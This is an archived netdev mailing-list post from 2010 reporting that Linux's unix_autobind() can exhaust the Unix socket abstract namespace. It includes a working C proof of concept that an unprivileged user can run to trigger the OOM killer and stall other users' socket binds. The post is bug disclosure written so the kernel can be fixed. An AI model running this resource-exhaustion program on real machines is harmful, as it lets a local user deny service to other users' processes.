lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date:	Sat, 21 Aug 2010 21:01:59 +0900
From:	Tetsuo Handa <penguin-kernel@...ove.SAKURA.ne.jp>
To:	netdev@...r.kernel.org
Subject: About unix_autobind()

I was browsing unix_autobind() and wondered what happens if all names in
Unix domain socket's abstract namespace were in use.

Below part is unix_autobind() from linux-2.6.36-rc1/net/unix/af_unix.c

710 retry:
711         addr->len = sprintf(addr->name->sun_path+1, "%05x", ordernum) + 1 + sizeof(short);
712         addr->hash = unix_hash_fold(csum_partial(addr->name, addr->len, 0));
713 
714         spin_lock(&unix_table_lock);
715         ordernum = (ordernum+1)&0xFFFFF;
716 
717         if (__unix_find_socket_byname(net, addr->name, addr->len, sock->type,
718                                       addr->hash)) {
719                 spin_unlock(&unix_table_lock);
720                 /* Sanity yield. It is unusual case, but yet... */
721                 if (!(ordernum&0xFF))
722                         yield();
723                 goto retry;
724         }

We can see that unix_autobind() allows 1048576 names.

A machine with 256MB RAM:

  # cat /proc/sys/fs/file-max
  24109
  # cat /proc/sys/fs/file-nr
  608 0 24109

A machine with 1736MB RAM:

  # cat /proc/sys/fs/file-max
  174347
  # cat /proc/sys/fs/file-nr
  96 0 174347

/proc/sys/fs/file-max seems to be proportional to the amount of RAM.
I don't have access to a machine with 10GB RAM (where /proc/sys/fs/file-max
becomes larger than 1048576 by default). So, I manually set

  # echo 1050000 > /proc/sys/fs/file-max

and executed below program as non-root user.

---------- Test program start ----------
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
	int i;
	for (i = 0; i < 1030; i++) {
		switch (fork()) {
		case 0:
			sleep(5);
			close(0);
			close(1);
			close(2);
			for (i = 0; i < 1024; i++) {
				struct sockaddr_un addr;
				int fd = socket(PF_UNIX, SOCK_DGRAM, 0);
				addr.sun_family = AF_UNIX;
				bind(fd, (struct sockaddr *) &addr, sizeof(addr.sun_family));
			}
			while (1)
				sleep(1000);
		case -1:
			write(1, "fork() failed\n", 14);
			return 1;
		}
	}
	return 0;
}
---------- Test program end ----------

If there is not enough memory, OOM killer was invoked. OOM killer killed
/usr/sbin/httpd process rather than above test program. (Oops. Non-root user
was able to terminate other user's processes via OOM killer.)

If there is enough memory (I can't test it), OOM killer will not be invoked.
But if all names were occupied, I guess subsequent unix_autobind() by other
users will loop forever because it loops until a name becomes available.
(I had to type "killall a.out" before above program occupies all names, for
the machine became very dull due to unix_autobind().)

Maybe some safeguard is wanted.
--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ